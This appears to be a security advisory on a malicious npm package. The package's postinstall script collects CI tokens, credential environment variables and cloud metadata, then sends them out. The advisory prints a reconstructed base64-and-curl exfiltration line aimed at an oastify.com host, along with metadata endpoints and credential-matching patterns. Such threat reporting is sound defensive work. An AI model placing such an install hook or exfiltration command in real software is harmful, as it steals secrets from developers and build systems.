GCVE-110-OSM-2026-9247

This package is an unambiguous supply-chain attack targeting CI/CD environments and cloud infrastructure. The postinstall.js script, executed automatically on npm install, collects hostname, username, sudo privileges, OS info, GitHub Actions environment variables (GITHUB_TOKEN, GITHUB_ACTOR, GITHUB_REPOSITORY, etc.), all environment variables matching credential patterns (KEY, TOKEN, SECRET, AWS_, GCP, AZURE, KUBE, NPM), Tencent/AWS/Alibaba cloud metadata endpoints, and the contents of tst.woa.com/flag.html — a classic CTF-style flag capture. All collected data is base64-encoded and exfiltrated in a single curl request to the attacker-controlled OAST endpoint pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com. The Chinese-language comment 'v15: 精简回传版 — 单请求 base64，控制数据量防截断' confirms iterative development ('version 15') with explicit anti-truncation logic. The publisher account is less than an hour old, the package has no repository, and the described functionality ('date sanitization helpers') is entirely fictitious. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json DESTINATION - reconstructed: data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null | tr -d '\n'); curl -s "http://pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/x?d=$data" (primary, reconstructed) - custom-c2: http://tst.woa.com/ (plaintext) in postinstall.js - custom-c2: http://tst.woa.com/flag.html (plaintext) in postinstall.js - custom-c2: http://metadata.tencentyun.com/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://metadata.tencentyun.com/latest/meta-data/instance-id (plaintext) in postinstall.js - custom-c2: http://169.254.169.254/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: http://100.100.100.200/latest/meta-data/ (plaintext) in postinstall.js - custom-c2: pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com (plaintext) in postinstall.js (+2 more) EXFIL - OAST/Interactsh Exfiltration in postinstall.js: "oastify.com" - Suspicious Domain in postinstall.js: "oastify.com" OBFUSCATION - recovered 1 urls from decoded/deobfuscated content ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Suspicious URL Pattern in Template Literal in postinstall.js: "data=$({ ${...}; } | base64 -w0 2>/dev/null || { ${...}; } | base64 2>/dev/null ..." - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js INDICATORS (IOCs) - payloadFileHash: 2f12974f8ceb206a773b9456efee5274e5bc739dc9d7436fdc7f0893ce61af82